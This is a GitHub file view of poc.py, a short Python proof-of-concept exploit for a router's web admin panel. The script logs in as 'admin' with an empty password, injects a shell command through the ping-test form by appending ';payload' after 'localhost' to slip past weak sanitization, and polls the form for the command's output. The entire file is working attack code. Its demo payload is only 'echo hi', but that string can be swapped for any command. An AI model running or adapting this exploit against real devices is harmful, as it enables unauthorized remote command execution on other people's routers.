-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpoc.py
More file actions
59 lines (50 loc) · 1.5 KB
/
Copy pathpoc.py
File metadata and controls
59 lines (50 loc) · 1.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests
import time
import urllib3
urllib3.disable_warnings()
target = "" # 192.168.50.1
payload = "echo hi"
sess = requests.Session()
sess.verify = False
auth_headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0',
'Referer': f'http://{target}/LoginForm.asp',
'Connection': 'close',
}
auth_data = {
'username': 'admin',
'password': '',
}
r = sess.post(f'http://{target}/goform/LoginForm', headers=auth_headers, data=auth_data)
if r.status_code not in (200, 302):
print("login failed")
exit()
# stop previous pings
sess.post(
f'http://{target}/goform/PingTestLoadForm',
headers={'Connection': 'close'},
data={'PingEvent': 'Stoping', 'PING_LINE_COUNT': '1'}
)
# inject the payload
sess.post(
f'http://{target}/goform/PingTestLoadForm',
headers={'Connection': 'close'},
data={
'K452_0': '1',
'K450_0': f'localhost;{payload}', # keep localhost to bypass poor sanitization
'K451_0': '4', # -c 4
'K453_0': '56', # -l 56
'PingEvent': 'Testting', # nice english
'PING_LINE_COUNT': '0',
}
)
# poll output
while True:
out = sess.post(
f'http://{target}/goform/PingTestLoadForm',
headers={'Connection': 'close'},
data={'PingEvent': 'Processing', 'PING_LINE_COUNT': '0'}
)
print(out.text) # if your command returns something ( example hi from the echo ) it will print, else the print test will hault and stay active until stopped
time.sleep(2)